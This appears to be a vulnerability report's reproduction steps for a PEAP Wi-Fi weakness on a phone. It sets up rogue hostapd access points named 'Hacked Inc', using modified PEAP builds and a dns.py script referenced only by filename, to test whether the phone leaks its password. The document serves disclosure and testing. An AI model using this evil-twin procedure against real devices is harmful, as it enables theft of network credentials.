Reproduction attack weak point 1 and weak point 3

Steps to reproduce the issue

1. Setup a linux machine/pi as a wireless AP
   $ sudo apt update
   $ sudo apt upgrade
   $ sudo apt install hostapd dnsmasq libnl-3-dev libssl-dev libnl-genl-3-dev bridge-utils
2. Stop services:
   $ sudo systemctl stop hostapd
   $ sudo systemctl stop dnsmasq
3. Append the following lines to "/etc/dhcpcd.conf"
   $ interface wlan0
4. $ sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig
5. Edit "/etc/dnsmasq.conf" to have these lines:
   $ interface=wlan0
6. Modify the "/etc/default/hostapd" files so DAEMON_CONF look like this:
   DAEMON_CONF="/etc/hostapd/hostapd.conf"
7. Set up traffic forwarding modifying "/etc/sysctl.conf":
   Uncomment -> "net.ipv4.ip_forward=1"
8. Add new iptables rules
   $ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
   $ sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
   $ iptables-restore < /etc/iptables.ipv4.nat
9. Enable internet connection
   $ sudo brctl addbr br0
   $ sudo brctl addif br0 eth0
10. Append the following lines to "/etc/network/interfaces
    $ auto br0
    $ iface br0 inet manual
    $ bridge_ports eth0 wlan0

11. $ reboot
12. Move the hostadp-2.9-google-peap.tar.gz to /home/root
13. $ tar -xvf hostadp-2.9-google-peap.tar.gz
14. $ cd hostadp-2.9-google-peap
15. $ python dns.py -i wlan0 -o eth0
16. $ cd hostapd
17. $ make
18. $ cd ..
19. $ ./hostapd/hostapd ./etc/hostapd/hostapd.conf
20. Using the phone, connect to the WIFI SSID "Hacked Inc"
    Settings -> Network & internet -> Wi-Fi -> Hacked Inc
21. EAP Method: PEAP
22. Phase 2 Authentication: None
23. CA Certificate: Do not validate
24. Identity: test
25. Password: 123456
26. On a separate linux machine/pi, move hostapd-2.9-google-peap-poc2.tar.gz to /root
27. $ tar -xvf hostapd-2.9-google-peap-poc2.tar.gz
28. $ cd hostapd-2.9-google-peap-poc2
29. $ python dns.py -i wlan0 -o eth0
30. $ cd hostapd
31. $ make
32. $ cd ..
33. $ ./hostapd/hostapd ./etc/hostapd/hostapd.conf
34. Connect the phone to the second machine
35. Check if the password is leaked on the second linux machine/pi